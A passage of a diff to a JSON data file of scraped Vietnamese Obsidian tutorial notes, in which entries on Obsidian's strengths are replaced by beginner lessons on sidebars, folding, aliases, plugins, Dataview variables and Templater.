và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "https://www.executeprogram.com/courses\r\n\r\nhttps://roadmap.sh/javascript\r\n", + "Toàn bộ nội dung": "Chúc mừng bạn đã hoàn thành được mức 1. Hiện bạn đã có một vault dữ liệu sơ khai. Bạn có thể khám phá thêm các tính năng khác của Obsidian theo ý thích của mình\r\n```dataview\r\nList from \"⚔️ Lớp học/1 Làm quen với Obsidian\" \r\nWhere !contains(file.name,\"1\")\r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -8052,94 +8052,94 @@ "id": "7m" }, { - "Tiêu đề": "📖 Nodejs và Electron", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/Các bài học nâng cao/Viết plugin/📖 Nodejs và Electron", + "Tiêu đề": "Bật sidebar", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/1 Làm quen với Obsidian/➕ Nhiệm vụ bổ trợ/Bật sidebar", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\n#tt/chưa-hoàn-thành\n#file/bài-học\n%%\n# Bài tiếp theo : [[]] ➡️\n\n> [!tip] Mẹo\n", + "Toàn bộ nội dung": "[[Chèn ảnh. Chèn đoạn văn từ ghi chú khác]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T12:22:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "7n" }, { - "Tiêu đề": "⚔️ Hướng dẫn Obsidian và Git", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/⚔️ Hướng dẫn Obsidian và Git", + "Tiêu đề": "Chèn ảnh. Chèn đoạn văn từ ghi chú khác", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/1 Làm quen với Obsidian/➕ Nhiệm vụ bổ trợ/Chèn ảnh. Chèn đoạn văn từ ghi chú khác", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Bài học chính\n```dataview\nlist \nfrom \"⚔️ Lớp Obsidian và Git\" \nWhere file.name=split(file.path,\"/\")[1] \n```\n\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-17T10:30:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "7o" }, { - "Tiêu đề": "Obsidian lưu dữ liệu trên máy của người dùng", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Obsidian lưu dữ liệu trên máy của người dùng", + "Tiêu đề": "Khám phá canvas", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/1 Làm quen với Obsidian/➕ Nhiệm vụ bổ trợ/Khám phá canvas", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Việc **dữ liệu nằm trên máy của bạn** có nghĩa là nó là của bạn và luôn sẵn sàng chờ bạn. Bạn không còn phải lo về vấn đề bảo mật dữ liệu, bởi vì nó không có được chuyển qua một máy chủ nào hết. Bạn không cần phải lo lắng mỗi lần ra ngoài đường hay rớt mạng, vì bạn không phải tải dữ liệu về để làm việc. Việc [[Obsidian lưu dữ liệu ở định dạng đơn giản|dữ liệu được lưu ở định dạng đơn giản]] nghĩa là bạn không còn gặp khó khăn trong việc chuyển đổi định dạng. Điều này sẽ hữu ích nếu một ngày bạn chán Obsidian và muốn dùng công cụ khác, hoặc nếu Obsidian còn thiếu chức năng nào đó và bạn cần dùng công cụ khác để bổ sung. Một nền tảng có thể cung cấp tính năng xuất dữ liệu người dùng, và mỗi định dạng khác nhau sẽ có những phần mềm chuyên dụng để đọc nó. Nhưng nếu bạn còn phải tải về dữ liệu của mình, hoặc còn phải sử dụng một phần mềm riêng để có thể đọc được dữ liệu của mình, thì về lý thuyết, bạn sẽ còn chịu sự chi phối của nền tảng/phần mềm đó. Còn với triết lý này, thì bạn mới thực sự làm chủ dữ liệu của mình. [[Bạn có quyền chỉnh sửa dữ liệu của mình dưới bất kỳ hình thức nào]] \n\n\n- [[Khả năng tuỳ biến của Obsidian rất cao]]. [[Có thể dùng kết hợp Obsidian với các giải pháp xử lý dữ liệu khác]]\n- [[Để một hệ sinh thái hoạt động thực sự hiệu quả thì lượng năng lượng dành ra để nắm bắt tín hiệu của môi trường phải giảm tới mức gần như bằng 0]]\n- [[Obsidian miễn phí, không có chức năng nào phải trả tiền hay tính theo đầu người]] \n\nĐiều này khiến cho [[Obsidian cực kỳ dễ mở rộng tính năng]]\n\nTuy nhiên, [[Có sự đánh đổi giữa sự dễ dàng tuỳ biến dữ liệu của mình và sự dễ dàng hợp tác qua mạng]] \n\n\n[[Việc lưu trữ dữ liệu tại máy cá nhân và ở định dạng đơn giản sẽ giúp người dùng quen thuộc hơn với việc lập trình]] \n[[Việc trung tâm hoá việc lưu trữ dữ liệu trên máy chủ sẽ lấy đi autonomy và agency của người dùng cuối]]\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T08:24:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "7p" }, { - "Tiêu đề": "Obsidian lưu dữ liệu ở định dạng đơn giản", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Obsidian lưu dữ liệu ở định dạng đơn giản", + "Tiêu đề": "Mở bảng lệnh", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/1 Làm quen với Obsidian/➕ Nhiệm vụ bổ trợ/Mở bảng lệnh", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Đơn vị nhỏ nhất của Obsidian là file, không phải block]]. Ưu điểm của block là [[Giao diện block cho phép người dùng linh hoạt hơn mà vẫn giữ được sự cấu trúc]]. Tuy nhiên nếu chịu khó dùng plugin và codeblock thì cũng có thể đạt được ưu điểm này. Nhược điểm của block là [[Khó có thể copy dữ liệu dạng block giữa các app khác nhau]], trong khi [[Có thể dùng kết hợp Obsidian với các giải pháp xử lý dữ liệu khác]]\r\n\r\nCũng chính vì lý do này, nên [[Obsidian không mạnh về quản lý tác vụ]], vì [[Dữ liệu dưới dạng cơ sở dữ liệu đảm bảo các bên tham gia nhập dữ liệu cùng một định dạng]]\r\n\r\n[[⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Văn bản thuần là dạng tổ chức dữ liệu đơn giản nhất]] \r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-30T05:40:00.000Z", - "Ngày cập nhật": "2024-09-01T10:38:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "7q" }, { - "Tiêu đề": "Văn bản thuần là dạng tổ chức dữ liệu đơn giản nhất", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Văn bản thuần là dạng tổ chức dữ liệu đơn giản nhất", + "Tiêu đề": "Thu gọn", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/1 Làm quen với Obsidian/➕ Nhiệm vụ bổ trợ/Thu gọn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n\r\n![Plain Text Data Formats: CSV, JSON, XML, HTML, Fixed-Width, and more... compared and explained - YouTube](https://youtu.be/6caucCsePqs?si=coTpJ7unQaKEql5L)\r\n", + "Toàn bộ nội dung": "Tính năng thu gọn văn bản là một công cụ rất mạnh để lập dàn ý và viết. Tính năng thu gọn cho phép bạn tập trung vào những gì bạn đang làm.\r\n\r\nĐể sử dụng tính năng thu gọn, hãy chuyển đến Settings (biểu tượng bánh răng ở bên trái) và bật `Fold indent` và `Fold heading` trong cài đặt trình chỉnh sửa.\r\n\r\nObsidian có khả năng thu gọn cả header markdown và danh sách thụt lề. Lưu ý rằng ở đầu ghi chú này có một mũi tên chỉ xuống bên cạnh tiêu đề. Nếu được nhấn vào, nó sẽ thu gọn toàn bộ ghi chú lên, và nếu được nhấn lại, nó sẽ hiển thị ghi chú. Điều này có thể được áp dụng ở nhiều cấp độ markdown, cũng như nhiều cấp độ thụt lề trong danh sách.\r\n\r\n## Ví dụ\r\n\r\n1. Hạng mục sự vật\r\n 1. Một danh mục con\r\n 1. Một danh mục con khác\r\n 1. Ví dụ về một mặt hàng\r\n 1. Một mục khác, quan trọng như nhau.\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "7r" }, { - "Tiêu đề": "Có thể dùng kết hợp Obsidian với các giải pháp xử lý dữ liệu khác", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Điểm mạnh của Obsidian/Có thể dùng kết hợp Obsidian với các giải pháp xử lý dữ liệu khác", + "Tiêu đề": "Tạo tên phụ cho từng ghi chú", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/1 Làm quen với Obsidian/➕ Nhiệm vụ bổ trợ/Tạo tên phụ cho từng ghi chú", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Obsidian cực kỳ dễ mở rộng tính năng]]\r\n Git:\r\n - [[Git giúp ta du hành thời gian]]\r\n", + "Toàn bộ nội dung": "Bạn hẳn đã biết cách chỉnh tên ghi chú rồi (phím tắt F2). Nhưng nếu bạn muốn một ghi chú có nhiều tên khác nhau thì sao? `alias` chính là câu trả lời cho bạn.\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -8148,46 +8148,46 @@ "id": "7s" }, { - "Tiêu đề": "Cộng đồng Obsidian rất mạnh", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Điểm mạnh của Obsidian/Cộng đồng Obsidian rất mạnh", + "Tiêu đề": "Đổi giao diện", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/1 Làm quen với Obsidian/➕ Nhiệm vụ bổ trợ/Đổi giao diện", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Obsidian không gọi vốn để theo đúng định hướng của mình]] \r\n\r\n\r\n- [Obsidian Hub](https://publish.obsidian.md/hub/00+-+Start+here \"00 - Start here - Obsidian Hub - Obsidian Publish\")\r\n - Obsidian Roundup\r\n\r\n\r\n\r\n# Discord Obsidian\r\n![](https://i.imgur.com/CAVIjPW.png)\r\n```button\r\nname Mở Discord Obsidian\r\ntype link\r\naction https://discord.gg/obsidianmd\r\ncolor blue\r\n```\r\n^button-n8na\r\n[[Obsidian không mạnh về quản lý tác vụ]]\r\n", + "Toàn bộ nội dung": "![](https://raw.githubusercontent.com/SlRvb/Obsidian--ITS-Theme/main/Images/Theme-DnD-WOTC--Lightmode.png)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-24T05:06:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "7t" }, { - "Tiêu đề": "Khả năng tuỳ biến của Obsidian rất cao", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Điểm mạnh của Obsidian/Khả năng tuỳ biến của Obsidian rất cao", + "Tiêu đề": "📖 2 chế độ chỉnh sửa nội dung", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/1 Làm quen với Obsidian/📖 Bài đọc thêm/📖 2 chế độ chỉnh sửa nội dung", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- [[Obsidian có thể tạo biến tại bất cứ vị trí nào trong ghi chú]] \r\n- [[Có thể dùng kết hợp Obsidian với các giải pháp xử lý dữ liệu khác]]\r\n\r\n[[Có sự đánh đổi giữa sự dễ dàng tuỳ biến dữ liệu của mình và sự dễ dàng hợp tác qua mạng]]\r\n[[Ý tưởng logo là cục đá đang được đẽo gọt, hàm ý ❝You shape your tools, and they shape you❞]] \r\n", + "Toàn bộ nội dung": "Có 2 chế độ chỉnh sửa nội dung:\r\n- Source mode:\r\n- Live preview mode:\r\n\r\n![](https://publish-01.obsidian.md/access/f786db9fac45774fa4f0d8112e232d67/Attachments/Editor%20update%20chart.png) \r\n\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày tạo": "2023-06-10T05:00:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "7u" }, { - "Tiêu đề": "Obsidian có thể tạo biến tại bất cứ vị trí nào trong ghi chú", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Điểm mạnh của Obsidian/Obsidian có thể tạo biến tại bất cứ vị trí nào trong ghi chú", + "Tiêu đề": "2 Xây dựng dự án với plugin", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/2 Xây dựng dự án với plugin", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tuy nhiên, nếu số lượng biến là rất nhiều thì có thể cân nhắc dùng một cơ sở dữ liệu để chuyên biệt hoá chuyện này. [[Dữ liệu dưới dạng cơ sở dữ liệu đảm bảo các bên tham gia nhập dữ liệu cùng một định dạng]]\r\na:: 2\r\n", + "Toàn bộ nội dung": "Mô tả:: Thao tác được tốt Obsidian\r\n# [[2.1 Cài plugin]] ➡️\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -8196,30 +8196,30 @@ "id": "7v" }, { - "Tiêu đề": "Obsidian cực kỳ dễ mở rộng tính năng", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Điểm mạnh của Obsidian/Obsidian cực kỳ dễ mở rộng tính năng", + "Tiêu đề": "2.1 Cài plugin", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/2 Xây dựng dự án với plugin/2.1 Cài plugin", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do:: [[Obsidian lưu dữ liệu trên máy của người dùng]]\r\n\r\nObsidian tự xem mình là **IDE của suy nghĩ**. IDE hiểu đơn giản là phần mềm viết code chứ cũng không có gì phức tạp. Nhưng sự khác biệt giữa nó với các phần mềm viết lách khác như Word ở chỗ người sử dụng nó - lập trình viên - là người đang sáng tạo ra phần mềm, hay cao hơn nữa là đang thao túng phần mềm. Nhà lập trình viên sử dụng IDE để phát triển phần mềm, nhưng chính vì IDE cũng là một phần mềm, nên nó cũng sẽ biến đổi trong quá trình viết. Khi Obsidian tự xem mình là IDE của suy nghĩ, nghĩa là Obsidian tự giao cho mình cái trách nhiệm biến hóa cùng với dòng suy nghĩ của người dùng. Quá trình phác thảo là một quá trình đập đi xây lại từng câu từng chữ, và bạn cũng sẽ thấy mình làm vậy với Obsidian. Obsidian trước khi bạn viết dòng đầu tiên và sau khi bạn hoàn thành sản phẩm là hai thứ khác nhau.\r\n\r\nBởi vì Obsidian đáp ứng được việc [[Giàn giáo nhận thức cần phải tuỳ biến với quá trình hiểu biết của người dùng]], nên [[Cộng đồng Obsidian rất mạnh]]\r\n\r\nTool for thought\r\n\r\n[[Kể cả khi có API, việc mở rộng tính năng khi dữ liệu được lưu trên máy chủ không mạnh bằng việc mở rộng tính năng khi dữ liệu được lưu tại chỗ]] \r\n\r\n[[Khả năng tuỳ biến của Obsidian rất cao]]\r\n", + "Toàn bộ nội dung": "Hãy tải và kích hoạt (enable) các plugin sau:\r\n- Dataview \r\n- Templater (tạo file mẫu) \r\n- Various Complement (gõ tắt) \r\n- Better Inline Fields\r\n# [[2.2 Tạo biến và dùng biến với (Dataview tập 1)]]➡️\r\n\r\n`=this.file.folder`\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-02T13:15:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "7w" }, { - "Tiêu đề": "Obsidian không gọi vốn để theo đúng định hướng của mình", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Điểm mạnh của Obsidian/Obsidian không gọi vốn để theo đúng định hướng của mình", + "Tiêu đề": "2.2 Tạo biến và dùng biến với (Dataview tập 1)", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/2 Xây dựng dự án với plugin/2.2 Tạo biến và dùng biến với (Dataview tập 1)", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "%%\r\n#tt/chưa-hoàn-thành\r\n#file/bài-học\r\n%%\r\nĐể tạo biến bạn chỉ cần dùng 2 dấu hai chấm là được. Ví dụ:\r\nbiến:: 123\r\nĐể lấy giá trị của biến bạn dùng =this.biến → `=this.biến`\r\nĐể lấy giá trị của biến nằm trong ghi chú khác, dùng =[[tên note]].biến\r\n# Bài tiếp theo : [[2.3 Truy vấn dữ liệu (Dataview tập 2)]] ➡️\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -8228,143 +8228,142 @@ "id": "7x" }, { - "Tiêu đề": "Obsidian miễn phí, không có chức năng nào phải trả tiền hay tính theo đầu người", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Điểm mạnh của Obsidian/Obsidian miễn phí, không có chức năng nào phải trả tiền hay tính theo đầu người", + "Tiêu đề": "2.3 Truy vấn dữ liệu (Dataview tập 2)", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/2 Xây dựng dự án với plugin/2.3 Truy vấn dữ liệu (Dataview tập 2)", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Obsidian phù hợp cho các dự án nhỏ, không có nhiều tiền]] \r\nCác công cụ khác như Notion, Fibery bắt tính tiền theo đầu người\r\n", + "Toàn bộ nội dung": "%%\n#tt/chưa-hoàn-thành\n#file/bài-học\n%%\n[Basic Dataview Query Builder](https://s-blu.github.io/basic-dataview-query-builder/)\n\n\n> [!tip] Mẹo\n> Cộng đồng Obsidian có làm một vault chứa các truy vấn mẫu để bạn có thêm ý tưởng\n> ```button\n> name Tải vault Dataview mẫu\n> type link\n> action https://github.com/s-blu/obsidian_dataview_example_vault\n> color blue\n> ```\n> ^button-kfe1\n# Bài tiếp theo : [[2.4 Tạo mẫu ghi chú (Templater)]] ➡️\n\n![Quản lý ghi chú Obsidian bằng thuộc tính và mô tả](https://youtu.be/H4I3d_xpkAs?si=5FlChuOwnO96L7gj) ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T12:22:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "7y" }, { - "Tiêu đề": "Obsidian phù hợp cho các dự án nhỏ, không có nhiều tiền", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Điểm mạnh của Obsidian/Obsidian phù hợp cho các dự án nhỏ, không có nhiều tiền", + "Tiêu đề": "2.4 Tạo mẫu ghi chú (Templater)", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/2 Xây dựng dự án với plugin/2.4 Tạo mẫu ghi chú (Templater)", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do:: [[Obsidian miễn phí, không có chức năng nào phải trả tiền hay tính theo đầu người]] \r\nLý do:: [[Khả năng tuỳ biến của Obsidian rất cao]]\r\n", + "Toàn bộ nội dung": "%%\n#tt/chưa-hoàn-thành\n#file/bài-học\n%%\n# Bài tiếp theo : [[]] ➡️\n\n> [!tip] Mẹo\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày cập nhật": "2024-08-01T13:22:00.000Z", "id": "7z" }, { - "Tiêu đề": "Obsidian xem liên kết là công dân hạng nhất", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Điểm mạnh của Obsidian/Obsidian xem liên kết là công dân hạng nhất", + "Tiêu đề": "2.9 Tìm hiểu tự do", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/2 Xây dựng dự án với plugin/2.9 Tìm hiểu tự do", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khi nói rằng **liên kết là công dân hạng nhất**, có lẽ nó cũng tương tự như những cụm từ như \"đặt con người làm trung tâm\", \"lấy học sinh làm trung tâm\". Vai trò của việc liên kết thông tin lại cũng đã có quá nhiều người nói rồi, mình không phải nói thêm nữa. [Trong một bài phỏng vấn](https://nesslabs.com/obsidian-featured-tool), tác giả Erica Xu nói rằng tất cả những công cụ ghi chú mà cô đã dùng trước đây đều thiếu một tính năng nào đó khiến cô phải tự gãi ngứa mình. Cô cũng nói rằng cô không thể tin nổi số người đã nói với cô rằng họ cũng từng có ý tưởng làm một cái tương tự như Obsidian.\n\n[[Đồ thị giúp thấy được bức tranh tổng thể]] \n\n[[Cấu trúc phân cấp thường cứng nhắc và nhân tạo]]\n![](https://fibery.io/blog/static/88213e107b66de17b2f51eba1ae34459/573d3/vertical-hierarchy.png) \n![](https://fibery.io/blog/static/09bb5795dd9691396b52ee3de1d05c32/573d3/flat-network.png) \n\n[The Knowledge Organization](https://fibery.io/blog/the-knowledge-organization/)\n\nXem thêm:: [What does \"link as first-class citizen\" really mean? - Meta - Obsidian Forum](https://forum.obsidian.md/t/what-does-link-as-first-class-citizen-really-mean/33199?u=ooker)\n", + "Toàn bộ nội dung": "Hết phần này bạn có thể bắt đầu tìm hiểu tự do\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-02T13:08:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "7-" }, { - "Tiêu đề": "Ý tưởng logo là cục đá đang được đẽo gọt, hàm ý ❝You shape your tools, and they shape you❞", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Điểm mạnh của Obsidian/Ý tưởng logo là cục đá đang được đẽo gọt, hàm ý ❝You shape your tools, and they shape you❞", + "Tiêu đề": "2.2 Gán biến", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/2 Xây dựng dự án với plugin/➕ Nhiệm vụ bổ trợ/2.2 Gán biến", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "### Sharpen your thinking\n\nExtending the metaphor of obsidian tools, our ambition is for Obsidian to be the tool that helps you think more clearly. As a material, obsidian is shaped using a technique called [knapping](https://en.wikipedia.org/wiki/Knapping), chipping off flakes of rock to create sharp edges.\n\nObsidian aims to help you hone your thoughts and refine your ideas with precision. The new icon represents a practical, user-friendly tool that helps you cut through the clutter and carve out clear ideas.\n\n### You shape your tools, and they shape you\n\nWe believe that Obsidian should adapt to your way of thinking, not the other way around. That’s why we focus on making Obsidian highly customizable and extensible, so you can shape it to your unique needs.\n\nNguồn:: [The new Obsidian icon - Obsidian](https://obsidian.md/blog/new-obsidian-icon/)\n[[Giàn giáo nhận thức cần phải tuỳ biến với quá trình hiểu biết của người dùng]]\n![Flintknapping an Obsidian Crescent. Ancient Stone Age Tool. - YouTube](https://www.youtube.com/watch?v=Kdn4bdhoUpE)\n[[Khi sử dụng công nghệ, ta không nghĩ là nó sẽ thay đổi bản thân mình]]", + "Toàn bộ nội dung": "x:: 5\n\n`=this`\n%%\n#tt/chưa-hoàn-thành\n#file/bài-học\n%%\n# Bài tiếp theo : [[2.2 Tạo biến và dùng biến với (Dataview tập 1)]] ➡️\n\n> [!tip] Mẹo\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-02T05:36:00.000Z", - "Ngày cập nhật": "2024-07-27T05:47:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-08-02T12:41:00.000Z", "id": "7_" }, { - "Tiêu đề": "Đồ thị giúp thấy được bức tranh tổng thể", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Điểm mạnh của Obsidian/Đồ thị giúp thấy được bức tranh tổng thể", + "Tiêu đề": "2.3 Dùng Project", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/2 Xây dựng dự án với plugin/➕ Nhiệm vụ bổ trợ/2.3 Dùng Project", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "graph view có thực sự có tác dụng gì không?", - "Toàn bộ nội dung": "Ví dụ, trong việc quản lý nhóm, nhờ có đồ thị mà ta thấy được độ đa dạng của nhóm: điều gì nhiều người quan tâm nhất? Ai có cùng nhu cầu với ai? Lý do của việc này là vì [[Đồ thị giúp ta thấy được mẫu hình]]. Mà [[Trực giác là việc nhìn ra mẫu hình không hơn không kém]]. [[Sự chuyên gia (expertise) đến từ việc nhìn ra mẫu hình]]. Và [[Thang đo năng lực dựa trên việc có thể đưa ra phân tích và trực giác đúng hay không]]. \n\n\n![[Mối quan tâm chung.jpeg]]\n\nCác vault nhấn mạnh vào việc này:\n- [[Quản lý mối quan hệ]]\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-26T03:33:00.000Z", - "Ngày cập nhật": "2024-06-22T15:40:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "80" }, { - "Tiêu đề": "Obsidian khó tạo liên kết hai chiều được", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Điểm yếu của Obsidian/Obsidian khó tạo liên kết hai chiều được", + "Tiêu đề": "Dùng Database folder", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/2 Xây dựng dự án với plugin/➕ Nhiệm vụ bổ trợ/Dùng Database folder", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do:: [[Obsidian không sử dụng dữ liệu dạng bảng]]\r\n", + "Toàn bộ nội dung": "Quản lý tài sản\r\n[[📖 Nguyên tắc quản lý rủi ro]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": 